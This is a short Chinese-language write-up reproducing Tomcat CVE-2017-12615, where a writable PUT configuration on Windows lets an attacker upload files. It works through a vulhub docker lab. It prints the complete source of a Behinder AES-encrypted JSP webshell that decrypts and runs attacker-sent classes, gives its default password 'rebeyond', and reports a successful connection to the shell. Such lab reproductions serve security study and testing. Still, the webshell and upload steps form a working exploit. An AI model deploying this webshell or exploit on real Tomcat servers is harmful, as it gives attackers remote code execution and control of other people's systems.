漏洞概述
该漏洞的利用场景为当tomcat
运行在windows
下,允许PUT
方式的http
请求并且tomcat
的web.xml
配置文件中readonly
值为false
,攻击者就可以向服务器上传恶意jsp
文件或webshell
文件。tomcat
服务器配置默认情况下readonly
值为true
无法触发漏洞,需要修改为false
才能上传文件。
影响版本
Apache Tomcat >=7.0.0,<=7.0.79
。
漏洞复现
- 进入漏洞目录
cd vulhub/tomcat/CVE-2017-12615/
- 开启环境
docker-compose up -d
- 查看镜像
docker ps
- 进入镜像环境
docker exec -ti 03de30c386ea bash
- 查看配置文件
conf/web.xml
中readonly
的设置
- 抓取刷新网页的数据包
- 修改如下,即可成功上传一个冰蝎
jsp
木马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String
k="e45e329feb5d925b";session.putValue("u",k);Cipher
c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new
U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equ
als(pageContext);}%>
该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
-
访问
shell.jsp
,出现空白页面说明上传成功;
-
使用冰蝎连接该木马【我尝试用蚁剑和菜刀连接
jsp
木马,发现木马类型没有jsp
,就直接用冰蝎连了】
连接成功